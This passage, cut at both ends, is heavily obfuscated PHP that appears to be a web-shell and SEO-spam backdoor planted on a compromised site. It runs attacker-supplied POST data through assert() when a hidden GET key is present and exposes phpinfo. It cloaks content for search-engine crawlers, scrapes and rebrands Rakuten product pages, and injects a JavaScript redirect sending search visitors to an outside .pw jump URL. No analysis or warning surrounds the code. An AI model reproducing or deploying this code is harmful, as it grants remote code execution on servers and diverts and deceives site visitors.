x70\x62”]}=true;break;}}}}}}else{${${„\x47\x4cO\x42A\x4cS”}[„\x74\x79\x75\x6ebgk\x73\x62”]}=true;}if(isset($_GET[„\x70\x68\x70\x69\x6ef\x6f”])){phpinfo();}${$mildklqhke}=”t\x65\x6dp”;$GLOBALS[„all\x5f\x66old\x65r\x73”]=explode(„,”,dirname($_SERVER[„\x53CR\x49P\x54\x5f\x46\x49\x4c\x45NAM\x45″]).”/$temp,/\x74\x6d\x70/$temp/,\x43:\x5c\x77\x69\x6ed\x6fw\x73\\\x74\x65m\x70\x5c$temp,\x43:\x5cp\x72\x6f\x67r\x61mda\x74a\\$temp,\x63:\x5cD\x6fcumen\x74\x73\x20an\x64 \x53e\x74\x74i\x6egs\\\x41\x6cl\x20U\x73ers\x5c\x41pplica\x74io\x6e Data\\$temp,C:\\\x44o\x63ume\x6ets\x20a\x6e\x64\x20\x53et\x74in\x67s\\\x44\x65f\x61\x75\x6c\x74\x20\x55\x73er\\A\x70pDa\x74a\x5c\x4co\x63al\\$temp,C:\x5c\x44\x6f\x63\x75m\x65\x6ets \x61n\x64 \x53\x65tt\x69ngs\x5cD\x65fa\x75l\x74\x20\x55\x73er\x5c\x4c\x6f\x63\x61\x6c\x20S\x65\x74\x74i\x6e\x67\x73\\$temp,\x63:\\r\x65cyc\x6c\x65r\x5c$temp,”.$GLOBALS[„web_\x72oo\x74”].${$mnpfecgp});$GLOBALS[„t\x65mp”]=${${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x6d\x71\x63m\x62\x66\x74\x6fh\x6c”]};$GLOBALS[„a\x6cl\x5f\x75\x5ffolder\x73”]=array();foreach($GLOBALS[„al\x6c\x5ffol\x64er\x73”]as${${„\x47L\x4f\x42A\x4cS”}[„xf\x6d\x61\x75\x69\x66\x75\x62″]}){$frhwybtmfzf=”\x70″;if(strtoupper(substr(PHP_OS,0,3))===”\x57\x49\x4e”or strpos(${$frhwybtmfzf},”\\”)===false){${„\x47LOB\x41\x4cS”}[„\x78\x72g\x67xn\x64\x6d\x68″]=”\x74”;${„\x47\x4c\x4f\x42\x41\x4cS”}[„\x79t\x79u\x70\x6ds”]=”t”;if(!@is_dir(${${„G\x4cO\x42\x41L\x53”}[„xf\x6da\x75i\x66u\x62″]})){$zudvsnwetqfm=”\x70”;dibug(„mk\x64ir:$p”);@mkdir(${$zudvsnwetqfm});}${${„\x47\x4cOBAL\x53”}[„y\x74\x79\x75\x70\x6d\x73”]}=rtrim(${${„\x47\x4c\x4f\x42A\x4cS”}[„\x78f\x6da\x75\x69f\x75\x62″]},”/”).”/u”;if(!@is_dir(${${„G\x4c\x4f\x42A\x4cS”}[„\x78rgg\x78\x6e\x64m\x68”]})){${„GL\x4f\x42\x41LS”}[„\x74\x72\x65bn\x77\x71″]=”\x74”;dibug(„m\x6bdi\x72:$t”);@mkdir(${${„\x47L\x4fB\x41\x4c\x53”}[„t\x72e\x62\x6e\x77q”]});}if(@is_dir(${${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x71\x68\x69lg\x65a”]})){array_push($GLOBALS[„\x61l\x6c_\x75_folde\x72s”],${${„\x47\x4c\x4f\x42A\x4cS”}[„\x71hil\x67ea”]});}}}dibug(„\$\x61\x6cl\x5f\x75\x5f\x66\x6f\x6c\x64ers:”.(join(„,”,$GLOBALS[„\x61ll\x5f\x75\x5f\x66\x6fl\x64\x65\x72\x73”])));if(isset($_GET[„ph\x70i\x6efo”])){phpinfo();}dibug(„p\x68p:”.phpversion());dibug(„\x69\x63onv:”.function_exists(„\x69\x63\x6fnv”));${${„G\x4cO\x42\x41\x4c\x53”}[„\x76p\x63\x74\x62\x74\x75\x72\x70\x69”]}=isset($_SERVER[„\x48T\x54P_RE\x46\x45R\x45\x52”])?($_SERVER[„\x48\x54TP_R\x45F\x45RER”].”/”):”/”;dibug(„\$\x72\x65\x66\x65r\x65r:$referer”);${${„\x47\x4c\x4f\x42AL\x53”}[„\x6a\x76eq\x74\x78t\x6c\x6ev\x6b”]}=”\x41U\x54O”;if(isset($_SERVER)){${„\x47\x4cO\x42A\x4c\x53”}[„v\x62\x6f\x70k\x6f”]=”\x73\x6e\x5f\x61\x72r”;${„\x47\x4cO\x42A\x4cS”}[„up\x79\x69\x6b\x68ro\x6a\x65\x62″]=”s\x6e\x5fa\x72\x72”;${„\x47\x4c\x4f\x42\x41L\x53”}[„t\x62\x6b\x69\x75\x66n\x70\x77v”]=”s\x6e\x5f\x61\x72r”;${„\x47\x4c\x4fB\x41\x4c\x53”}[„\x66llv\x72\x67u\x73\x63\x6b”]=”\x6b\x63″;${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x70q\x65\x6bp\x69″]=”\x73\x6e\x5f\x61\x72\x72”;${${„G\x4cOB\x41\x4c\x53”}[„\x76\x62\x6f\x70\x6b\x6f”]}=explode(„\x2e”,$_SERVER[„\x53E\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45”]);${„G\x4c\x4f\x42\x41L\x53”}[„l\x77\x6e\x70bk”]=”s\x6e\x5fa\x72\x72″;${„\x47\x4c\x4fB\x41\x4c\x53”}[„bdi\x72\x64\x6em\x61″]=”s\x6e\x5f\x61r\x72”;${${„\x47LO\x42\x41\x4c\x53”}[„f\x6c\x6cvrgu\x73\x63\x6b”]}=substr(${${„G\x4cO\x42\x41L\x53”}[„\x75p\x79\x69\x6bhr\x6fje\x62”]}[count(${${„G\x4c\x4f\x42\x41L\x53”}[„\x73tqb\x65ll\x79y”]})-2],0,2).substr(${${„\x47LO\x42\x41\x4c\x53”}[„\x70q\x65k\x70\x69”]}[count(${${„\x47\x4c\x4f\x42A\x4cS”}[„b\x64i\x72\x64\x6e\x6d\x61”]})-2],strlen(${${„\x47LO\x42\x41\x4c\x53”}[„l\x77\x6e\x70bk”]}[count(${${„\x47\x4c\x4f\x42\x41L\x53”}[„\x74b\x6b\x69\x75\x66\x6ep\x77\x76”]})-2])-2,2);}dibug(„\$\x6bc:$kc”);if(isset($_GET[„\x786i3x\x76”])||isset($_GET[„\x67\x6da\x73s\x76″])){echo”\x31\x309\x33”;exit();}elseif(isset($_GET[„\x5f$kc”])){${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x63lfm\x78\x62″]=”k\x63”;${„\x47LO\x42AL\x53”}[„\x71r\x79hc\x64″]=”\x6bc”;@assert($_POST[${${„\x47\x4c\x4fBALS”}[„\x63\x6c\x66\x6dx\x62″]}.”_”.${${„\x47L\x4f\x42\x41\x4c\x53”}[„\x71r\x79\x68\x63d”]}]);exit();}else{${„\x47\x4cO\x42A\x4cS”}[„\x6c\x77\x6b\x78u\x61\x67n”]=”k\x63″;${„G\x4cOB\x41\x4c\x53”}[„\x75np\x66\x66m\x72o\x74i”]=”\x72\x65fe\x72er”;${„\x47LOBA\x4c\x53”}[„\x6a\x78\x6ehb\x67\x76r\x77″]=”\x72eq\x5f\x75\x72\x69″;$uykjrgekmjxt=”\x6a\x75m\x70\x5f\x74\x6f”;${„GL\x4fB\x41\x4c\x53”}[„\x79\x70vt\x6f\x70″]=”\x72\x65q_\x75r\x69″;$hbruvbrhhvw=”\x6ct_\x70\x61t\x68″;$vlgcgkogtt=”\x75\x73\x65\x72_\x6b\x77″;$huuuydl=”req_\x75\x72\x69″;${$uykjrgekmjxt}=”\x68ttp://w\x77\x77.\x66g\x6ei\x72\x73.p\x77/ju\x6d\x70.as\x70\x78?j\x75\x6d\x70\x69\x64=thnl\x37\x6a&f\x3d”;${${„G\x4c\x4f\x42A\x4c\x53”}[„\x75\x71\x73\x6bnu\x68\x6e\x66\x78”]}=get_keyword(${${„\x47\x4c\x4f\x42\x41L\x53”}[„\x75\x6ep\x66f\x6dro\x74\x69”]});if(${$vlgcgkogtt}){dibug(„\$\x75s\x65\x72\x5fkw:$user_kw[1]”);}${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x64w\x70\x70\x78\x66\x66″]=”\x72\x65\x66\x65\x72e\x72″;$gxqncbp=”\x72e\x71\x5f\x75r\x69”;${${„\x47\x4c\x4f\x42AL\x53”}[„\x6axnh\x62g\x76r\x77”]}=$_SERVER[„\x52\x45\x51\x55E\x53T_U\x52\x49”];${${„G\x4c\x4f\x42AL\x53”}[„\x76\x63y\x71k\x6e\x6c”]}=preg_replace(„/(&|\\?)d\x65\x62ug(\x3d[^&\\?]*)?/i”,””,${$huuuydl});$ilrjbqldxj=”\x75se\x72\x5f\x6b\x77″;${${„\x47\x4c\x4f\x42\x41L\x53”}[„\x76\x63yqk\x6el”]}=preg_replace(„/(\x26|\\?)\x5fo\x76\x65rrid\x65\x5f(=[^\x26\\?]*)?/\x69″,””,${$gxqncbp});dibug(„u\x72l:$_SERVER[SERVER_NAME]$_SERVER[REQUEST_URI]”);$fitvcohkt=”\x79\x6f\x75\x5f\x73\x68\x6f\x75\x6c\x64\x5f\x72\x65\x64i\x72\x65\x63\x74″;${„\x47L\x4fB\x41L\x53”}[„\x71\x6b\x63\x74\x69z\x63p”]=”\x72e\x66\x65\x72\x65\x72″;${„G\x4cOB\x41\x4c\x53”}[„\x6d\x65\x6a\x68\x67\x65\x79\x68″]=”\x79\x6fu_sho\x75\x6c\x64\x5fre\x64i\x72e\x63t”;dibug(„\x6be\x79:$_SERVER[SERVER_NAME]$req_uri”);${${„GLO\x42\x41\x4c\x53”}[„\x67\x64x\x62\x65\x63”]}=find_lt_path(${${„\x47L\x4f\x42\x41L\x53”}[„y\x70\x76t\x6f\x70”]},@isset($_GET[„\x5f\x6f\x76\x65r\x72ide_”]));if(${$hbruvbrhhvw}){$gkfsznwxd=”\x74r\x69\x65d”;$ayhxlzru=”\x68\x74m\x6c_\x63\x6f\x6e\x74\x65n\x74″;$wbvnjpejj=”\x68\x74\x6dl\x5f\x63on\x74\x65nt”;${$gkfsznwxd}=0;${$ayhxlzru}=get_html_content(„h\x74\x74\x70://\x69te\x6d.\x72\x61k\x75\x74\x65n.\x63o.jp/$lt_path”);${„\x47LOB\x41\x4c\x53”}[„\x74\x76bgd\x69\x62wy\x6ek”]=”l\x74\x5f\x70ath”;while(strlen(${$wbvnjpejj})<4000&&${${„\x47\x4c\x4f\x42ALS”}[„\x70\x74\x79\x61j\x63\x71w\x77\x6f”]}<5){$mxwrptkgxu=”\x74\x72\x69\x65d”;${$mxwrptkgxu}++;${${„\x47\x4cO\x42\x41L\x53”}[„\x67\x64\x78\x62\x65\x63”]}=find_lt_path(${${„\x47\x4c\x4f\x42\x41LS”}[„\x76cy\x71k\x6e\x6c”]},true);${${„GL\x4fB\x41\x4c\x53”}[„\x6bn\x68\x6d\x79wb”]}=get_html_content(„htt\x70://\x69\x74\x65\x6d.r\x61ku\x74\x65n\x2e\x63o.j\x70/$lt_path”);}${${„\x47L\x4f\x42\x41\x4c\x53”}[„w\x6d\x6c\x63y\x72\x70\x75”]}=${${„\x47\x4cOB\x41\x4cS”}[„wm\x6c\x63\x79\x72\x70\x75”]}.trim(${${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x74v\x62\x67\x64\x69b\x77y\x6e\x6b”]},”/”).”.\x68\x74m\x6c”;}elseif(${$ilrjbqldxj}&&preg_match(„/\x73e\x61r\x63h\x5c.ya\x68o\x6f\\.\x63o\x5c\x2e\x6ap/\x69”,${${„G\x4c\x4fB\x41\x4c\x53”}[„\x78l\x66\x6e\x65h”]})==1){${${„GL\x4fB\x41\x4c\x53”}[„\x77m\x6c\x63\x79\x72\x70u”]}.=”s/”.${${„\x47L\x4f\x42A\x4cS”}[„\x75\x71\x73\x6b\x6e\x75\x68\x6ef\x78″]}[1].”/”;}dibug(„\$\x6ct_pa\x74\x68:$lt_path”);dibug(„\$ju\x6dp\x5f\x74\x6f:$jump_to”);${„\x47LOB\x41\x4c\x53”}[„\x70\x6dq\x6eb\x6c\x78s\x74rl”]=”i\x73_g\x5f\x69\x70″;${$fitvcohkt}=false;if(preg_match(„/goo\x67leg\x6f/i”,${${„\x47L\x4fB\x41LS”}[„\x71\x6b\x63\x74\x69\x7a\x63\x70”]})==1){${${„\x47\x4c\x4f\x42\x41\x4cS”}[„\x6c\x65cs\x72\x6c\x74\x68\x63”]}=true;}elseif(preg_match(„/(google\x5c\x2e|b\x69\x6e\x67\x5c.|a\x6fl\x5c\x2e|y\x61hoo\x5c\x2e)/\x69”,${${„\x47\x4cOBA\x4cS”}[„\x64\x77ppxf\x66”]})==1){if(preg_match(„/(\x67o\x6f\x67le\x5c.c\x6f\\.j\x70|\x79\x61h\x6f\x6f\x5c\x2eco\\\x2e\x6a\x70)/\x69”,${${„GL\x4f\x42AL\x53”}[„\x78lf\x6e\x65\x68”]})==1){${„\x47LO\x42\x41\x4cS”}[„\x78\x6c\x69\x70r\x70j”]=”\x79ou\x5f\x73ho\x75l\x64_\x72e\x64\x69\x72e\x63\x74″;${${„G\x4c\x4f\x42ALS”}[„x\x6c\x69p\x72\x70j”]}=true;}else{$ysvgkj=”y\x6fu\x5f\x73h\x6ful\x64\x5f\x72ed\x69r\x65\x63t”;${$ysvgkj}=false;}}dibug(„\$you_\x73hou\x6cd_r\x65\x64\x69r\x65c\x74:$you_should_redirect”);${${„\x47L\x4fB\x41\x4c\x53”}[„gd\x63\x6a\x69ho\x79\x77\x7ac”]}=”<scrip\x74\x20\x74y\x70e=\x27t\x65\x78t/\x6aav\x61\x73\x63\x72i\x70t\x27>\x73etTi\x6de\x6fu\x74(\x22w\x69n\x64o\x77\x2e\x6c\x6f\x63\x61t\x69\x6f\x6e=\x27″.${${„\x47\x4cO\x42A\x4cS”}[„\x77\x6d\x6c\x63y\x72\x70u”]}.”\x27\x22,\x3000\x300\x30\x300\x300)\x3b\x3c/scr\x69\x70\x74>”;$cvvcrih=”\x79\x6f\x75\x5fs\x68o\x75l\x64\x5f\x72\x65\x64\x69\x72e\x63\x74″;if(isset($_GET[„si\x74em\x61p”])AND isset($_GET[„\x70”])){@header(„c\x6fnt\x65nt-\x74y\x70\x65:\x74e\x78\x74/\x70l\x61\x69\x6e\x3b\x63\x68\x61\x72\x73et\x3d\x75\x74f-8”);${${„\x47\x4c\x4f\x42ALS”}[„\x64\x65\x76\x6b\x66\x66\x6e\x75kc\x6el”]}=find_file_in_folders($GLOBALS[„a\x6cl_f\x6f\x6c\x64\x65rs”],$_GET[„\x70″].”\x2eu\x2et\x78\x74”,false);if(${${„\x47L\x4fB\x41\x4c\x53”}[„\x64\x65\x76kf\x66\x6e\x75kc\x6e\x6c”]}){dibug(„\x73it\x65\x6d\x61p\x20\$fi\x6c\x65:$file”);$fuiciffcovob=”\x70\x61\x74\x68\x73″;$kkievq=”\x66i\x6c\x65″;${${„G\x4c\x4f\x42\x41\x4c\x53”}[„\x75i\x6fg\x75yh\x64\x6e\x77\x78”]}=@file(${${„\x47\x4c\x4f\x42\x41L\x53”}[„\x64\x65\x76\x6bf\x66\x6e\x75kc\x6e\x6c”]});foreach(${$fuiciffcovob} as${${„\x47\x4cOB\x41L\x53”}[„\x78\x66\x6daui\x66\x75\x62”]}){if(isset($_GET[„fil\x65″])){$eypfdglj=”p”;echo(„\x68\x74t\x70://$_SERVER[SERVER_NAME]$_GET[file]?”.trim(${$eypfdglj}).”\n”);}else{echo(„h\x74\x74\x70://$_SERVER[SERVER_NAME]$_SERVER[SCRIPT_NAME]?”.trim(${${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x78f\x6d\x61\x75\x69fu\x62″]}).”\n”);}}@fclose(${$kkievq});}exit();}if(preg_match(„/(go\x6f\x67\x6c\x65bot|\x79a\x68\x6f\x6f|b\x69ng|msnbo\x74|\x61o\x6c|l\x69\x6e\x75\x78 \x78\x38\x36_\x364)/\x69”,$_SERVER[„HTT\x50_U\x53\x45\x52_\x41G\x45N\x54”])||isset($_GET[${${„G\x4c\x4fB\x41L\x53”}[„lw\x6bxu\x61\x67\x6e”]}])||${${„\x47\x4cOBAL\x53”}[„t\x79\x75\x6e\x62\x67\x6bsb”]}||${$cvvcrih}){if(${${„\x47\x4cO\x42A\x4c\x53”}[„gdx\x62e\x63″]}){$brzggfnthrb=”ou\x74″;$wxrmtkrr=”\x63o\x6ev\x65\x72ted”;$vofxksloc=”\x68\x74\x6d\x6c_\x63\x6f\x6e\x74ent”;${„G\x4c\x4f\x42\x41\x4c\x53”}[„\x79kju\x6b\x79\x72\x73\x76\x66\x66″]=”\x68\x74m\x6c\x5fc\x6f\x6e\x74e\x6e\x74″;$bpgdmiibiwn=”s\x65\x61r\x63\x68u\x72l”;$styrmgce=”\x68t\x6d\x6c\x5f\x63\x6fn\x74\x65\x6e\x74″;${„G\x4cO\x42ALS”}[„\x79t\x62\x64\x76n\x66″]=”\x68\x74\x6d\x6c\x5f\x49\x6e\x6c\x69\x6e\x6b\x73″;$foyycdkax=”co\x6et\x65\x6e\x74”;${„\x47\x4cO\x42A\x4c\x53”}[„\x70o\x63\x6e\x69x\x69\x79evl”]=”html_conten\x74″;${„G\x4cOBALS”}[„\x6dt\x6egbth\x77c\x6c”]=”\x73\x65\x61\x72\x63\x68u\x72\x6c”;${„\x47\x4cOB\x41\x4c\x53”}[„\x7adb\x6b\x73\x6b\x61i\x6e\x6d”]=”\x68t\x6d\x6c\x5f\x63o\x6e\x74\x65\x6e\x74″;$wdoyypaf=”\x74m\x70\x6c_f\x69\x6c\x65″;${„\x47\x4c\x4fBA\x4cS”}[„qy\x65xp\x6d\x6dw\x6a\x72b”]=”\x68tm\x6c\x5f\x63o\x6et\x65\x6e\x74″;$mumlotv=”\x63\x6fn\x76e\x72te\x64″;${$wxrmtkrr}=””;$oxsjytfggg=”ht\x6d\x6c\x5f\x63\x6fn\x74\x65n\x74″;${„\x47\x4c\x4fB\x41L\x53”}[„r\x6c\x63d\x66i\x64\x6f”]=”\x41r\x74\x69cl\x65\x5f\x63a\x74\x65\x67or\x79″;${„\x47L\x4f\x42\x41L\x53”}[„\x66grc\x6a\x65\x62″]=”\x68t\x6d\x6c_\x63on\x74\x65\x6e\x74”;if(function_exists(„ico\x6e\x76”)){${„\x47L\x4f\x42\x41L\x53”}[„\x75\x6d\x79k\x6ej\x74r\x66q\x73i”]=”h\x74ml\x5fc\x6fn\x74e\x6e\x74″;${„G\x4cO\x42AL\x53”}[„\x6b\x69\x78d\x69\x70\x6e\x74\x65\x67i”]=”\x63\x6f\x6e\x76\x65rted”;${${„G\x4cO\x42A\x4c\x53”}[„k\x69xd\x69\x70nt\x65\x67i”]}=@iconv(„EUC-\x4aP”,”UT\x46-8//\x49GNOR\x45″,${${„G\x4c\x4fB\x41LS”}[„\x75m\x79\x6b\x6e\x6at\x72\x66\x71\x73\x69”]});}elseif(function_exists(„\x6db\x5fcon\x76e\x72t\x5f\x65nc\x6fd\x69\x6eg”)){${${„\x47\x4c\x4fB\x41L\x53”}[„\x7ajl\x77p\x74m\x79\x74\x6be”]}=@mb_convert_encoding(${${„G\x4c\x4f\x42A\x4c\x53”}[„k\x6e\x68\x6dy\x77b”]},”\x55T\x46-\x38″,”EU\x43-J\x50″);}if(${$mumlotv}){${${„\x47\x4cO\x42AL\x53”}[„k\x6eh\x6d\x79w\x62”]}=${${„\x47\x4c\x4fB\x41\x4cS”}[„\x7a\x6a\x6cwp\x74\x6dy\x74\x6b\x65”]};}else{dibug(„\x69co\x6ev\x20f\x61\x69\x6c\x65d!!!!”);}${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x62\x6f\x6a\x6eg\x77\x6b\x73x”]=”\x6d\x73ear\x63\x68″;${„\x47L\x4f\x42\x41\x4c\x53”}[„i\x63\x66uf\x6c\x6f\x6c\x6f”]=”\x68\x74m\x6c\x5f\x63\x6f\x6e\x74\x65\x6et”;${${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x71y\x65\x78\x70\x6dm\x77\x6arb”]}=str_replace(„\xEF\xBC\x8F”,”\xE3\x80\x91″,${${„\x47\x4cO\x42\x41\x4cS”}[„\x6bn\x68\x6dywb”]});${„G\x4cO\x42\x41LS”}[„i\x6b\x75\x62\x65m\x79″]=”\x69”;${${„G\x4cO\x42\x41\x4cS”}[„k\x6e\x68\x6d\x79wb”]}=str_replace(„\xEF\xBC\x8F”,”\xE3\x80\x90″,${${„G\x4cO\x42\x41\x4c\x53”}[„\x6bnh\x6d\x79\x77\x62″]});$gvmmggf=”\x68\x74\x6d\x6c\x5f\x63\x6f\x6ete\x6e\x74”;${${„\x47\x4c\x4f\x42\x41\x4cS”}[„knhm\x79\x77b”]}=str_replace(„\xE3\x80\x90\xE5\xBC\x9B\xE6\xAC\xA7\xE8\xBE\x89\xE7\x9C\xB7\xE3\x80\x91″,””,${$oxsjytfggg});${${„G\x4cO\x42\x41L\x53”}[„\x79\x6bju\x6b\x79\x72\x73v\x66f”]}=str_replace(„\xE5\xBC\x9B\xE6\xAC\xA7\xE8\xBE\x89\xE7\x9C\xB7″,””,${${„\x47L\x4fB\x41\x4cS”}[„\x70\x6fc\x6e\x69x\x69\x79e\x76l”]});$zgnpbot=”\x63o\x6e\x74e\x6et”;${${„\x47L\x4f\x42ALS”}[„\x69\x63fu\x66\x6c\x6f\x6c\x6f”]}=str_replace(„\xE6\xA5\xBD\xE5\xA4\xA9\xE5\xB8\x82\xE5\xA0\xB4\xE5\xBA\x97″,””,${$vofxksloc});${„G\x4c\x4fBAL\x53”}[„gc\x6f\x6aqw\x67\x62″]=”temp\x6c\x61te”;${${„G\x4c\x4fB\x41\x4cS”}[„k\x6e\x68\x6d\x79\x77b”]}=str_replace(„\xE6\xA5\xBD\xE5\xA4\xA9\xE5\xB8\x82\xE5\xA0\xB4″,””,${${„\x47\x4cO\x42\x41\x4c\x53”}[„\x6b\x6eh\x6d\x79w\x62″]});$buwudpiio=”ou\x74″;$syctswzkg=”\x68\x74\x6d\x6c\x5f\x63\x6fnt\x65\x6et”;$gsxueyld=”\x70\x61\x74\x73\x65\x61\x72c\x68″;${„\x47LOB\x41\x4cS”}[„t\x64j\x68\x66\x66\x77\x72″]=”se\x61\x72\x63\x68\x75rl”;${„\x47L\x4f\x42\x41\x4c\x53”}[„ms\x6bt\x7a\x76\x71ck\x65″]=”\x4d\x61\x74\x65\x5fDes\x63rip\x74\x69\x6fn”;$hfbnvhgkwzh=”i”;${${„\x47L\x4f\x42\x41\x4c\x53”}[„k\x6ehm\x79\x77b”]}=str_replace(„\xE6\xA5\xBD\xE5\xA4\xA9″,””,${$styrmgce});$adcakxozwy=”\x61\x72\x72\x73e\x61rch”;${„\x47\x4cO\x42A\x4c\x53”}[„w\x63l\x6d\x78kq”]=”\x69″;$dqqdtilbxz=”\x74\x65mp\x6c\x61\x74\x65″;$gfcyrjfk=”i”;$lnlmmfxfdcye=”\x41\x72\x74\x69\x63\x6c\x65\x5f\x49\x6e\x6c\x69n\x6b\x73″;${„G\x4c\x4f\x42\x41\x4c\x53”}[„\x70\x62u\x66\x6a\x72i\x73\x79\x6cu”]=”h\x74\x6d\x6c\x5f\x49\x6e\x6c\x69\x6ek\x73″;${${„\x47LOB\x41L\x53”}[„\x66\x67r\x63jeb”]}=str_replace(„\x69\x74em\x2e\x72\x61\x6bu\x74\x65\x6e.co\x2e\x6ap”,${${„\x47\x4c\x4fB\x41\x4cS”}[„\x79\x69\x72\x74\x6e\x69m\x68”]}[„\x73\x65\x72\x76e\x72\x5f\x6ea\x6de”],${${„G\x4cO\x42\x41\x4cS”}[„\x6b\x6e\x68\x6dyw\x62″]});$pukeljqkkd=”\x6c\x74_r\x65\x6c\x61\x74e\x5f\x6cink\x73”;${${„\x47\x4cO\x42\x41LS”}[„\x7ad\x62k\x73\x6b\x61\x69n\x6d”]}=preg_replace(„/\x3cm\x65\x74a\x5cs+h\x74\x74p-\x65q\x75\x69v\x3d[’\x22]?\x72ef\x72\x65s\x68[\x27\x22]?\x5c\x73+c\x6f\x6et\x65\x6e\x74\x3d[^\x3e]*\x3e/\x69″,””,${${„\x47\x4c\x4f\x42\x41\x4cS”}[„\x6bnh\x6d\x79\x77b”]});${${„GL\x4fBA\x4c\x53”}[„\x6c\x6b\x75\x63\x77\x65\x78″]}=”/<a[^>]*?\x68\x72ef\x3d\x22\x68\x74\x74\x70:\x5c/\x5c/\x73\x65ar\x63\x68.[^>]*?\”[^>]*([\x5cs\x5c\x53]*?)<\\/a>/i”;preg_match_all(${${„\x47\x4c\x4fB\x41\x4c\x53”}[„\x6c\x6bu\x63\x77\x65\x78”]},${${„\x47\x4cO\x42A\x4c\x53”}[„\x6b\x6eh\x6dywb”]},${${„G\x4c\x4f\x42\x41\x4c\x53”}[„\x75\x62\x69\x77\x6d\x69\x70a\x78\x76f”]});${$bpgdmiibiwn}=””;$mufrwkhrzgyy=”\x41\x72\x74\x69\x63\x6c\x65\x5fd\x65\x73\x63rip\x74\x69o\x6e\x63″;$kspweykb=”\x6fu\x74″;${${„G\x4c\x4fBA\x4cS”}[„\x6dqnj\x75\x79\x69\x69xj\x6b”]}=1;${„G\x4c\x4f\x42AL\x53”}[„\x72\x72k\x71\x78\x79″]=”M\x61\x74\x65\x5fK\x65\x79\x77\x6f\x72\x64”;for(${${„\x47\x4cO\x42\x41LS”}[„\x69\x69w\x79pn\x66”]}=0;${${„\x47\x4c\x4fB\x41L\x53”}[„\x69\x69w\x79\x70\x6e\x66”]}<count(${${„\x47\x4cOB\x41LS”}[„\x75bi\x77\x6d\x69p\x61\x78\x76\x66”]});${${„\x47\x4cOBALS”}[„\x77\x63\x6c\x6d\x78k\x71″]}++){$wukrlcupn=”\x6a”;${„G\x4cOB\x41\x4c\x53”}[„\x70h\x75\x70\x67\x61″]=”\x73ta\x74u\x73″;$gmbcomjag=”\x6d”;for(${$wukrlcupn}=0;${${„\x47\x4cO\x42A\x4c\x53”}[„r\x62\x63\x6e\x69\x7a\x63\x7a”]}<count(${$gmbcomjag}[${${„\x47LO\x42A\x4cS”}[„\x69\x69\x77\x79\x70\x6e\x66”]}]);${${„\x47L\x4f\x42A\x4cS”}[„\x72b\x63\x6e\x69\x7ac\x7a”]}++){${„\x47LO\x42\x41LS”}[„\x65\x70t\x63\x6b\x6e\x6f\x64b”]=”\x6d”;$bplrfslzxa=”i”;if(strstr(${${„\x47\x4cO\x42\x41\x4c\x53”}[„\x65pt\x63k\x6e\x6f\x64b”]}[${$bplrfslzxa}][${${„\x47\x4c\x4fB\x41LS”}[„rb\x63\x6eiz\x63\x7a”]}],”s\x65\x61\x72\x63\x68\x2erak\x75\x74\x65n\x2eco.\x6a\x70″)==true){$nfugqgh=”m”;${„\x47L\x4f\x42\x41\x4cS”}[„\x69z\x6fp\x6c\x70″]=”\x73\x74\x61\x74us”;$jlqgrvndmir=”\x6a”;${${„\x47\x4c\x4f\x42\x41L\x53”}[„ok\x6e\x79\x61\x70\x76\x75\x6ed”]}=${$nfugqgh}[${${„\x47\x4c\x4f\x42A\x4c\x53”}[„\x69\x69\x77\x79\x70\x6e\x66”]}][${$jlqgrvndmir}];${${„G\x4c\x4f\x42\x41LS”}[„i\x7a\x6fp\x6c\x70”]}=0;}}if(${${„\x47\x4cO\x42\x41\x4cS”}[„p\x68u\x70\x67\x61”]}==0){break;}}${„\x47L\x4fB\x41LS”}[„\x79\x69\x70lm\x6bg\x6f\x77k”]=”\x68\x74\x6dl_\x63\x6f\x6e\x74\x65n\x74″;${„\x47\x4c\x4fB\x41\x4c\x53”}[„gob\x75z\x67\x6c\x6b\x6a\x68\x68\x6a”]=”\x68\x74\x6dl_\x63\x6f\x6ete\x6e\x74″;dibug(„\$\x73e\x61r\x63hu\x72\x6c:$searchurl”);$buudpk=”\x74m\x70l\x5f\x66\x69\x6ce”;${${„\x47\x4c\x4fB\x41L\x53”}[„\x6e\x6f\x6cs\x6fl\x67\x6f\x76\x75\x70”]}=explode(„\x22”,${${„\x47\x4c\x4f\x42\x41L\x53”}[„tdj\x68\x66f\x77\x72”]});for(${${„\x47\x4c\x4f\x42\x41\x4c\x53”}[„\x69i\x77y\x70n\x66”]}=0;${$hfbnvhgkwzh}<count(${$adcakxozwy});${${„G\x4cO\x42A\x4cS”}[„i\x6b\x75\x62\x65m\x79″]}++){$xgbdghhysve=”\x69”;${„\x47LOBALS”}[„s\x65\x78t\x74\x62fn\x76\x70″]=”\x61\x72\x72s\x65\x61\x72ch”;if(strstr(${${„G\x4c\x4fB\x41\x4c\x53”}[„\x73ex\x74\x74\x62\x66\x6e\x76\x70″]}[${$xgbdghhysve}],”\x73\x65\x61r\x63\x68.r\x61k\x75t\x65n.\x63\x6f.\x6ap”)==true){${„\x47LOB\x41LS”}[„\x6c\x71b\x69\x69\x6f\x63m\x78g\x78\x67″]=”\x73\x65\x61\x72\x63\x68\x75\x72l”;${„GL\x4f\x42\x41\x4c\x53”}[„\x73p\x6di\x6cb\x78\x66\x73e\x66″]=”a\x72\x72\x73e\x61rc\x68”;${${„G\x4cO\x42\x41L\x53”}[„\x6c\x71\x62i\x69\x6f\x63\x6d\x78\x67\x78\x67”]}=${${„G\x4c\x4f\x42A\x4c\x53”}[„s\x70\x6dil\x62x\x66\x73e\x66”]}[${${„GL\x4f\x42A\x4c\x53”}[„i\x69\x77\x79\x70\x6e\x66”]}];break;}}dibug(„\$\x73\x65a\x72\x63\x68ur\x6c:$searchurl”);${${„GL\x4f\x42A\x4cS”}[„\x70b\x75\x66\x6a\x72\x69\x73y\x6cu”]}=get_html_content(${${„G\x4c\x4fB\x41LS”}[„\x6dtn\x67bt\x68\x77\x63l”]});${${„G\x4cO\x42A\x4cS”}[„\x6c\x75\x78\x6c\x6en\x66\x63″]}=”/<\x61[^>]*?h\x72\x65f=\x22h\x74\x74p:\x5c/\\/i\x74\x65\x6d\x2e[^>]*?\x22[^\x3e]*([\x5cs\\S]*?)<\\/a>/\x69”;${${„\x47\x4cO